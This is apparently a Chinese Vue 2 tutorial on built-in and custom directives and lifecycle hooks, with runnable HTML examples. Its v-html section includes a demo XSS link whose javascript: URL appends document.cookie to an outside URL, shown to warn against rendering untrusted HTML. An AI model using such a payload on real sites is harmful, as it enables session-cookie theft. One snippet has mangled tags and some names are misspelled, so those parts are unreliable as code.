1. 常用内置指令
01.总览
我们学过的指令: v-bind : 单向绑定解析表达式, 可简写为 :xxx v-model : 双向数据绑定 v-for : 遍历数组/对象/字符串 v-on : 绑定事件监听, 可简写为@ v-if : 条件渲染(动态控制节点是否存存在) v-else : 条件渲染(动态控制节点是否存存在) v-show : 条件渲染 (动态控制节点是否展示) v-text指令: 1.作用:向其所在的节点中渲染文本内容,放入标签则也会被当成文本解析 2.与插值语法的区别:v-text会替换掉节点中的内容,你原来的内容会被代替, 无法与原来的内容一起出现,{{xx}}则可以。
v-text
: 更新元素的 textContentv-html
: 更新元素的 innerHTMLv-if
: 如果为true, 当前标签才会输出到页面v-else
: 如果为false, 当前标签才会输出到页面v-show
: 通过控制display样式来控制显示/隐藏v-for
: 遍历数组/对象v-on
: 绑定事件监听, 一般简写为@v-bind
: 强制绑定解析表达式, 可以省略v-bindv-model
: 双向数据绑定
02.v-text
v-text
: 更新元素的 textContent
-
作用:向其所在的节点中渲染文本内容。
-
与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>v-text指令</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> <div>你好,{{name}}</div> // 你好,尚硅谷 <div v-text="name">你好,</div> // 尚硅谷 <div v-text="str"></div> // <h3>你好啊</h3> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el: '#root', data: { name: '尚硅谷', str: '<h3>你好啊!</h3>' } }) </script> </html>
03.v-html
前置知识:cookie:
跨浏览器无法读取cookie
查看cookie key-value的组合
xss:跨站脚本攻击
v-html
: 更新元素的 innerHTML
- 作用:向指定节点中渲染包含html结构的内容。
- 与插值语法的区别:
(1). v-html会替换掉节点中所有的内容,{{xx}}则不会。
(2). v-html可以识别html结构。 - 严重注意:v-html有安全性问题!!!!
(1). 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2). 一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-html指令</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<div>你好,{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el: '#root',
data: {
name: '尚硅谷',
str: '<h3>你好啊!</h3>',
str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
}
})
</script>
</html>
04.v-once
v-once
指令:
- v-once所在节点在初次动态渲染后,就视为静态内容了。
- 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-once指令</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2 v-once>初始化的n值是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
</html>
05.v-pre
v-pre
指令:
- 跳过其所在节点的编译过程。(vue 不去解析 插值等语法)
- 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
ref
: 为某个元素注册一个唯一标识, vue对象通过$refs属性访问这个元素对象
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-pre指令</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2 v-pre>Vue其实很简单</h2>
<h2 >当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
</html>
06.v-cloak
v-cloak
: 使用它防止闪现表达式, 与css配合: [v-cloak] { display: none }
- 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
- 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
实例1
script引入自制的server,作用是5s后script标签加载成功,注意script标签的的引入位置,是先执行html模板,5s后渲染页面{{name}}变为尚硅谷,想让{{name}}在5s内隐藏,不显示在页面中,script标签加载成功后直接出现尚硅谷,用v-cloak。
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>v-cloak指令</title> <style> [v-cloak] { display: none; } </style> <!-- 引入Vue --> </head> <body> <div id="root"> <h2 v-cloak>{{name}}</h2> </div> <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script> </body> <script type="text/javascript"> console.log(1) Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el: '#root', data: { name: '尚硅谷' } }) </script> </html>
实例2
[v-clock] { display: none; }
<body> <div id="demo"> <p ref="content">baidu.comp> <button @click="hint">提示button> <p v-cloak>{{msg}}p> div> <script src="../js/vue.js">script> <script> new Vue({ el: "#demo", data: { msg: "YK菌" }, methods: { hint(){ alert(this.$refs.content.textContent); } } }) script> body>
2. 自定义指令
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
01 定义语法
(1) 局部指令
new Vue({
directives:{指令名:配置对象}
})
或
new Vue({
directives{指令名:回调函数}
})
实例
directives : {
'my-directive' : {
bind (el, binding) {
el.innerHTML = binding.value.toupperCase()
}
}
}
(2) 全局指令
Vue.directive(指令名,配置对象)
或
Vue.directive(指令名,回调函数)
实例
Vue.directive('my-directive', function(el, binding){
el.innerHTML = binding.value.toupperCase()
})
02 配置对象中常用的3个回调
- bind:指令与元素成功绑定时调用。
- inserted:指令所在元素被插入页面时调用。
- update:指令所在模板结构被重新解析时调用。
03 备注
- 指令定义时不加v-,但使用时要加v-;
- 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
04 使用指令
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>自定义指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>{{name}}</h2>
<h2>当前的n值是:<span v-text="n"></span> </h2>
<!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
<button @click="n++">点我n+1</button>
<hr />
<input type="text" v-fbind:value="n">
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
//定义全局指令
/* Vue.directive('fbind',{
//指令与元素成功绑定时(一上来)
bind(element,binding){
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
//指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value
}
})
Vue.directive('big',function(element, binding) { //两个参数:当前DOM元素(span),本次绑定的所有信息
console.log(element, binding)
// console.log('big', this)
//注意此处的this是window
element.innerText = binding.value * 10
},)
*/
new Vue({
el: '#root',
data: {
name: '尚硅谷',
n: 1
},
directives: {
//指令名如果是多个单词,别忘了加"",方法内部放的是"key",value值,大部分情况""可省略,但加了-之后引号必须带。
// 全写是: 'big-number':function(element,binding){}
/* 'big-number'(element,binding){
// console.log('big')
element.innerText = binding.value * 10
}, */
//函数写法
// big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
big(element, binding) { //两个参数:当前DOM元素(span),本次绑定的所有信息
console.log(element, binding)
// console.log('big', this)
//注意此处的this是window
element.innerText = binding.value * 10
},
//对象写法
fbind: {
//指令与元素成功绑定时(一上来)调用
bind(element, binding) {//两个参数:当前DOM元素(input),本次绑定的所有信息
element.value = binding.value
},
//指令所在元素被插入页面时调用
inserted(element, binding) {
element.focus()
// input输入框自动获取焦点,这句代码必须放在将input放入页面的后面
},
//指令所在的模板被重新解析时调用
update(element, binding) {
element.value = binding.value
element.focus()
}
}
}
})
</script>
</html>
3. vue对象的生命周期
生命周期:
-
又名:生命周期回调函数、生命周期函数、生命周期钩子。
-
是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
-
生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
-
生命周期函数中的this指向是vm 或 组件实例对象(vue内部做了处理)。
-
初始化显示
beforeCreate()
created()
beforeMount()
mounted()
-
更新状态
beforeUpdate()
updated()
-
销毁 vue 实例:
vm.$destory()
beforeDestory()
destoryed()
官网生命周期图
4. 详细了解生命周期
01.了解beforeCreated
此时数据检测以及数据代理还未完成。无法访问data和methods方法(数据检测:setter和getter,数据代理:vm上直接访问data中的数据)
created的对象是数据代理和数据监听
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>引出生命周期</title>
<!-- 引入Vue -->
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.14/vue.min.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click='add'>点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: '#root',
data: {
n: 1
},
methods: {
add() {
this.n++
}
},
beforeCreate() {
console.log('beforeCreated');
console.log(this);//关注这一步
debugger;
}
})
</script>
</html>
02.了解created
此时数据检测和数据代理已经完成,可以访问到data和methods方法
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>引出生命周期</title>
<!-- 引入Vue -->
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.14/vue.min.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click='add'>点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: '#root',
data: {
n: 1
},
methods: {
add() {
this.n++
}
},
beforeCreate() {
console.log('beforeCreated');
// console.log(this);
},
created() {
console.log('created');
console.log(this);
debugger;
}
})
</script>
</html>
03.了解beforeMount
注意:此时操作dom,只会生效一瞬间,下一生命周期dom就会被之前渲染的虚拟dom覆盖
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>引出生命周期</title>
<!-- 引入Vue -->
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.14/vue.min.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click='add'>点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: '#root',
data: {
n: 1
},
methods: {
add() {
this.n++
}
},
beforeCreate() {
console.log('beforeCreated');
// console.log(this);
},
created() {
console.log('created');
},
beforeMount() {
console.log('beforeMounted');
console.log(this);
document.querySelector('h2').innerText = '哈哈'// 此时操作dom 一瞬间会生效,但最终都无效果
debugger;
},
})
</script>
</html>
04.了解mounted
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>引出生命周期</title>
<!-- 引入Vue -->
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.14/vue.min.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click='add'>点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: '#root',
data: {
n: 1
},
methods: {
add() {
this.n++
}
},
beforeCreate() {
console.log('beforeCreated');
// console.log(this);
},
created() {
console.log('created');
},
beforeMount() {
console.log('beforeMounted');
},
mounted() {
console.log('mounted');
console.log(this);
document.querySelector('h2').innerText = '哈哈'// 此时操作dom 会生效,但不推荐
debugger;
},
})
</script>
</html>
05.补充之前一个生命周期的线
01.无el属性的情况
02.有template模板的情况
06.了解beforeUpdate
此生命周期,页面和数据还未完成同步
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>引出生命周期</title>
<!-- 引入Vue -->
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.14/vue.min.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click='add'>点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: '#root',
data: {
n: 1
},
methods: {
add() {
this.n++
}
},
beforeCreate() {
console.log('beforeCreated');
// console.log(this);
},
created() {
console.log('created');
},
beforeMount() {
console.log('beforeMounted');
},
mounted() {
console.log('mounted');
},
beforeUpdate() {
console.log('beforeCreate');
console.log(this.n);
debugger;
}
})
</script>
</html>
07.了解updated
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>引出生命周期</title>
<!-- 引入Vue -->
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.14/vue.min.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click='add'>点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: '#root',
data: {
n: 1
},
methods: {
add() {
this.n++
}
},
beforeCreate() {
console.log('beforeCreated');
// console.log(this);
},
created() {
console.log('created');
},
beforeMount() {
console.log('beforeMounted');
},
mounted() {
console.log('mounted');
},
beforeUpdate() {
console.log('beforeCreate');
},
updated() {
console.log('updated');
console.log(this.n);
debugger;
}
})
</script>
</html>
08.了解beforeDestroy和destroy
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>引出生命周期</title>
<!-- 引入Vue -->
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.14/vue.min.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click='add'>点我n+1</button>
<button @click='destroy'>点我销毁</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: '#root',
data: {
n: 1
},
methods: {
add() {
this.n++
},
destroy() {
this.$destroy()
}
},
beforeCreate() {
console.log('beforeCreated');
// console.log(this);
},
created() {
console.log('created');
},
beforeMount() {
console.log('beforeMounted');
},
mounted() {
console.log('mounted');
},
beforeUpdate() {
console.log('beforeCreate');
},
updated() {
console.log('updated');
},
beforeDestroy() {
console.log('beforeDestroy');
},
destroyed() {
console.log('destroyed');
}
})
</script>
</html>
5.小结生命周期
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>引出生命周期</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2 :style="{opacity:opacity}">欢迎学习Vue</h2>
<button @click="opacity = 1">透明度设置为1</button>
<button @click="stop">点我停止变换</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: '#root',
data: {
opacity: 1
},
methods: {
stop() {
this.$destroy()
}
},
//Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted(挂载),只是初始
//化的时候调用了一次,后续数据更改重新解析模板时不会再次调用
mounted() {
console.log('mounted', this)
this.timer = setInterval(() => {
// 这里箭头函数无this,自动寻找上下文this,找到了mounted()的this,这个this指向vm
console.log('setInterval')
this.opacity -= 0.01
if (this.opacity <= 0) this.opacity = 1
}, 16)
},
beforeDestroy() {
console.log('vm即将被销毁')
clearInterval(this.timer)
// 清除定时器
},
})
//通过外部的定时器实现(不推荐)
// setInterval(() => {
// vm.opacity -= 0.01
// if (vm.opacity <= 0) { vm.opacity = 1 }
// }, 16)
</script>
</html>
推荐将清除定时器等操作放在beforeDestroy()周期内执行,保证路由切换等操作也会清除定时器
5. 常用的生命周期方法
mounted()
: 发送ajax请求, 启动定时器、绑定自定义事件、订阅消息等异步任务【初始化操作】beforeDestroy()
: 做收尾工作, 如: 清除定时器、解绑自定义事件、取消订阅消息等【首尾工作】
6. 关于销毁Vue实例
- 销毁后借助Vue开发者工具看不到任何信息
- 销毁后自定义事件会失效,但原生DOM事件依然有效
- 一般不会在
beforeDestroy
操作数据,因为即使操作数据,也不会再触发更新流程了。
7. 父子组件的生命周期
- 加载渲染过程
父beforeCreate -> 父created -> 父beforeMount -> 子beforeCreate->子created->子beforeMount->子mounted->父mounted
- 更新过程
父beforeUpdate->子beforeUpdate->子updated->父updated
- 销毁过程
父beforeDestroy->子beforeDestroy->子destroyed->父destroyed
- 常见钩子版本
父beforeDestroy->子beforeDestroy->子destroyed->父destroyed